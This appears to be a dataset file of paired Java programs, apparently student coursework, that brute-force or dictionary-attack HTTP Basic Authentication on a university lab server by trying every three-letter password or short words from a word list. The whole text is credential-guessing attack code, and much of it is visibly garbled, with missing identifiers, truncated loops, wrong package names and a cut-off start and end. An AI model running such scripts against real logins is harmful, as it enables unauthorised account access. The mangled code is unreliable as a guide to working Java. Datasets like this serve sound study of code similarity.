'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); BruteForce bForce = new BruteForce(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public BruteForce(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; int i, j, k; URL = new URL(urlPath); String let1 = null; String let2 = null; String let3 = null; String usrName = """"; String usrNamePwd = null; String encoding = null; boolean ok = false; connection = (HttpURLConnection).openConnection(); for(i=0; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " 051.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",048.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; import java.net.HttpURLConnection; public class BruteForce { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String cad = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 051.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",183.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; if (s.length() != 0) { char symbol = 'A'; login="":""; for(int i = 0; i < 3; i++) { symbol = (char)(57.0 * Math.random() + 65); if(symbol>90 && symbol<97){ i--; continue; } login=login+symbol; } ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+login); } public BruteForce() { super (""SEC-CRACK""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main(String args[]) { Frame f = new BruteForce(); f.setSize(300, 300); f.setVisible (true); } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 051.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",258.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " 246.java," import java.io.*; import java.net.*; import java.net.URL; import java.net.URLConnection; import java.util.*; public class Dictionary { public static void main(String[] args) throws IOException { int begin, end, total; time = System.currentTimeMillis(); String username = """"; String password = null; String host = ""http://sec-crack.cs.rmit.edu./SEC/2/""; String dict = ""words""; File file = new File(dict); String letters = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; int lettersLen = letters.length(); int passwordLen=3; String character = """"; String letter = """"; int passwords=0; int twoChar=0; url.misc.BASE64Encoder base = new url.misc.BASE64Encoder(); String authenticate = """"; String realm = null, domain = null, hostname = null; header = null; int responseCode; String responseMsg; boolean characterValid=false; boolean passwordValid=true; int tryLen=0; int i=0; if (!file.exists() || file==null) { System.out.println (""Idiot, why dont check and make sure the dictonary file exists.""); System.out.println (""I'm trying find "" + dict + "" and I 't find it in the current directory.""); System.exit(0); } try { BufferedReader reader = new BufferedReader(new FileReader(file)); System.out.println(""Dictionary Attack "" + host + "" has commenced.""); int i=1; int k=1; { URL url = new URL(host); HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); if(realm != null) { String inLine = reader.readLine(); if ( inLine !=null) { passwordValid = true; password = inLine; tryLen = password.length(); if(tryLen <= passwordLen) { for (int z=0; z 1) { } } else { System.out.println (""What the?... The server replied with unexpected reponse."" ); System.out.println ("" Unexpected Error Occured While Attempting Connect "" + url); System.out.println (""Connection Status: "" + responseCode + responseMsg); System.out.println (""Unfortunately the password could not recovered.""); System.exit( 0 ); } i++; } catch(MalformedURLException e) { System.out.println(""Opps, the URL "" + host + "" is not valid.""); System.out.println(""Please check the URL and try again.""); } catch(IOException e) { System.out.println("", 't connect "" + host + "".""); System.out.println(""Please check the URL and try again.""); System.out.println(""Other possible causes include website is currently unavailable""); System.out.println("" have internet connection problem.""); } } while(realm != null); } }" 180.java,"import java.io.*; import java.net.*; import java.util.*; public class Dictionary { public static void main (String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println(""The password is "" + password); } public static String getPassword(double startTime) { String password=""""; int requests=0; try { FileReader fRead = new FileReader(""/usr/share/lib/dict/words""); BufferedReader buf = new BufferedReader(fRead); password=buf.readLine(); while (password != null) { if (password.length()<=3) { requests++; if (testPassword(password, startTime, requests)) return password; } password = buf.readLine(); } } catch (IOException ioe) { } return password; } private static boolean testPassword(String password, double startTime, int requests) { try { URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); HttpURLConnection connection; String userPassword = "":"" + password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); try { connection = (HttpURLConnection) url.openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); int status=connection.getResponseCode(); System.out.println(password + requests); if (status==200) { System.out.println(""It took "" + getTime(startTime) + "" milliseconds find the password.""); System.out.println("" were "" + requests + "" requests .""); return true; } return false; } catch (IOException ioe) { System.out.print(ioe); return false; } } catch (IOException MalformedURLException) { System.out.print(""Invalid URL""); return false; } } private static double getTime(double startTime) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double endTime = now.getTime(); return endTime-startTime; } } ",175.java,"import java.io.*; import java.net.*; import java.util.*; public class BruteForce { public static void main(String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println(""The password is "" + password); } public static String getPassword(double startTime) { char first, second, third; String password=""""; int requests=0; for (int i=65; i<123; i++) { requests++; first = (char) i; password = first + """"; if (testPassword(password, startTime, requests)) return password; for (int j=65; j<123; j++) { requests++; second = (char) j; password = first + """" + second; if (testPassword(password, startTime, requests)) return password; for (int k=65; k<123; k++) { requests++; third = (char) k; password = first + """" + second + """" + third; if (testPassword(password, startTime, requests)) return password; if (k==90) k=96; } if (j==90) j=96; } if (i==90) i=96; } return password; } private static boolean testPassword(String password, double startTime, int requests) { try { URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); HttpURLConnection connection; String userPassword = "":"" + password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); try { connection = (HttpURLConnection) url.openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); int status=connection.getResponseCode(); System.out.println(password + requests); if (status==200) { System.out.println(""It took "" + getTime(startTime) + "" milliseconds find the password.""); System.out.println("" were "" + requests + "" requests .""); return true; } return false; } catch (IOException ioe) { System.out.print(ioe); return false; } } catch (IOException MalformedURLException) { System.out.print(""Invalid URL""); return false; } } private static double getTime(double startTime) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double endTime = now.getTime(); return endTime-startTime; } } " 032.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.util.*; import java.net.*; public class Dictionary { private String userPassword; private static int counter; public Dictionary(String username) { String user; String password; counter = 0; user = username; try { FileReader fr = new FileReader( ""/usr/share/lib/dict/words"" ); BufferedReader bf = new BufferedReader( fr ); while ((password = bf.readLine()) != null) { userPassword = user + "":"" + password; System.out.print("".""); if (password.length() == 3) if (doEncoding(userPassword)== true) { System.out.println(password); return; } counter++; } } catch ( IOException ioe ) { System.err.println( ioe.toString() ); } } private boolean doEncoding(String userPassword) { String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes()); return doAttempt(encoding); } private boolean doAttempt (String encoding) { try { URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection uc = url.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); uc.setRequestProperty (""Get"", ""/SEC/2/ "" + ""HTTP/1.1""); uc.setRequestProperty (""Host"", ""sec-crack.cs.rmit.edu.""); uc.setRequestProperty (""Authorization"", "" "" + encoding); return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK""); } catch (MalformedURLException e) { System.out.println (""Invalid URL""); } catch (IOException e) { System.out.println (e.toString() ); } return false; } public static void main(String args[]) { Date sdate = new Date(); System.out.print(""Starting the Ditionary Attack at:"" + sdate + ""\n""); Dictionary bf = new Dictionary(args[0]); Date edate = new Date(); System.out.print(""Ditionary Attack ends at:"" + sdate + ""\n""); System.out.println(""Time taken by Dictionary is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n""); System.out.print(""Attempts in this session:"" + counter + ""\n""); } } ",030.java," import java.awt.*; import java.util.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce { private String userPassword; private static int counter; public BruteForce(String username) { String user; String password; counter = 0; user = username; for (char i='A';i<='z';i++) { if (i == 'Z') i = 'a'; for (char j='A';j<='z';j++) { if (j == 'Z') j = 'a'; for (char k='A';k<='z';k++) { userPassword = user+ "":"" + i + j + k; if (k == 'Z') k = 'a'; System.out.print("".""); if (doEncoding(userPassword)== true) { System.out.println(""\n"" + ""Resultant Password is: "" + i + j + k); return; }; counter++; } } } } private boolean doEncoding(String userPassword) { String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes()); return doAttempt(encoding); } private boolean doAttempt (String encoding) { try { URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection uc = url.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); uc.setRequestProperty (""Get"", ""/SEC/2/ "" + ""HTTP/1.1""); uc.setRequestProperty (""Host"", ""sec-crack.cs.rmit.edu.""); uc.setRequestProperty (""Authorization"", "" "" + encoding); return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK""); } catch (MalformedURLException e) { System.out.println (""Invalid URL""); } catch (IOException e) { System.out.println (e.toString() ); } return false; } public static void main(String args[]) { Date sdate = new Date(); System.out.print(""BruteForce Attack starts at:"" + sdate + ""\n""); BruteForce bf = new BruteForce(args[0]); Date edate = new Date(); System.out.print(""BruteForce Attack ends at:"" + sdate + ""\n""); System.out.println(""Time taken by BruteForce is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n""); System.out.print(""Attempts in this session:"" + counter + ""\n""); } } " 050.java,"import java.net.*; import java.io.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class makePasswords { public String [ ] alphabet1 = {""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"", ""J"", ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"", ""W"", ""X"", ""Y"", ""Z"", ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"", ""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z""}; public String [ ] alphabet2 = {""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"", ""J"", ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"", ""W"", ""X"", ""Y"", ""Z"", ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"", ""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z""}; public String [ ] alphabet3 = {""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"", ""J"", ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"", ""W"", ""X"", ""Y"", ""Z"", ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"", ""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z""}; Vector in = new Vector(); public void makePass() { try { PrintWriter pw = new PrintWriter(new FileWriter(""new.txt"")); for(int i = 0; i < alphabet1.length; i++) { for(int j = 0; j < alphabet2.length; j++) { for(int k = 0; k < alphabet3.length; k++) { String newStr = (alphabet1[i]+alphabet2[j]+alphabet3[k]); pw.println(newStr); } } } }catch(Exception ex){} } private StringTokenizer tokenizer; private BufferedReader bf; private String line; private String first; public void loadFile()throws NoSuchElementException, IOException { try{ bf = new BufferedReader(new FileReader(""new.txt"")); } catch(FileNotFoundException fe){} catch(IOException io){} while((line = bf.readLine())!=null) { int index = 0; tokenizer = new StringTokenizer(line); try { first = tokenizer.nextToken(); if (first.length() == 3) { in.add(first); } } catch(NoSuchElementException n) { System.out.println(""File Loaded Succesfully""); } } } public Vector getVector() { return in; } public static void main(String args[]) { makePasswords mP = new makePasswords(); mP.makePass(); Vector v = mP.getVector(); } } ",049.java,"import java.net.*; import java.io.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class ReadFile { private StringTokenizer tokenizer; private BufferedReader bf; private String line; private String first; Vector in = new Vector(); public void loadFile()throws NoSuchElementException, IOException { System.out.println(""in loadFile""); try{ bf = new BufferedReader(new FileReader(""words"")); } catch(FileNotFoundException fe){} catch(IOException io){} while((line = bf.readLine())!=null) { int index = 0; tokenizer = new StringTokenizer(line); try { first = tokenizer.nextToken(); if (first.length() == 3) { in.add(first); } } catch(NoSuchElementException n) { System.out.println(""File Loaded Succesfully""); } } } public Vector getVector() { return in; } public static void main (String args[]) { Vector v = new Vector(); try { System.out.println(""in ""); ReadFile rf = new ReadFile(); rf.loadFile(); v = rf.getVector(); } catch(IOException e) { System.out.println(e); } System.out.println(""size:"" + v.size()); for (int i = 0; i< v.size(); i++) { System.out.println(i+1+ "":"" + v.elementAt(i)); } } } " 146.java,"import java.net.*; import java.util.*; public class BruteForce { public static void main(String[] args) { new CrackAttempt(); } } class CrackAttempt { public CrackAttempt() { final int MAX_LENGTH = 3; boolean auth = false; Date = new Date(); boolean morePasswords = true; int passPtr = 0; StringBuffer validChars = new StringBuffer(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); char[] password = new char[MAX_LENGTH]; password[0] = validChars.charAt(0); while (!auth && morePasswords) { String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/""; try { Authenticator.setDefault(new CrackAuth(password)); URL url = new URL(resource); HttpURLConnection conn = (HttpURLConnection)url.openConnection(); conn.setRequestMethod(""HEAD""); if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) { System.out.println(""cracked with "" + new String(password)); auth = true; } } catch (Exception e) { System.out.println("" was exception: "" + e.getMessage()); } int count = passPtr; while (true) { if (password[count] == validChars.charAt(validChars.length() - 1)) { password[count] = validChars.charAt(0); count--; } else { password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1); break; } if (count < 0) { if (passPtr < MAX_LENGTH - 1) { passPtr++; password[passPtr] = validChars.charAt(0); } else { morePasswords = false; } break; } } } if (!auth) { System.out.println(""Unable determine password""); } else { time = (new Date()).getTime() - start.getTime(); System.out.println(""it took "" + String.valueOf(time) + "" milliseconds crack the password""); } } } class CrackAuth extends Authenticator { char[] password; public CrackAuth(char[] password) { this.password = password; } protected PasswordAuthentication getPasswordAuthentication() { String user = """"; return new PasswordAuthentication(user, password); } } ",147.java,"import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String[] args) { new CrackAttempt(); } } class CrackAttempt { public CrackAttempt() { final int MAX_LENGTH = 3; boolean auth = false; Date = new Date(); String file = ""/usr/share/lib/dict/words""; String word; char[] password = new char[MAX_LENGTH]; String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/""; while (!auth) { BufferedReader in = null; try { in = new BufferedReader(new FileReader(file)); while ((word = in.readLine()) != null && !auth) { try { if (word.length() <= MAX_LENGTH) { password = word.toCharArray(); Authenticator.setDefault(new CrackAuth(password)); URL url = new URL(resource); HttpURLConnection conn = (HttpURLConnection)url.openConnection(); conn.setRequestMethod(""HEAD""); if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) { System.out.println(""cracked with "" + new String(password)); auth = true; } } } catch (Exception e) { System.out.println("" was exception: "" + e.getMessage()); } } } catch (FileNotFoundException fnfe) { System.out.println(""File Not Found""); } catch (IOException ioe) { System.out.println(""IOException""); } catch(Exception e) { e.printStackTrace(); } finally { try { in.close(); } catch 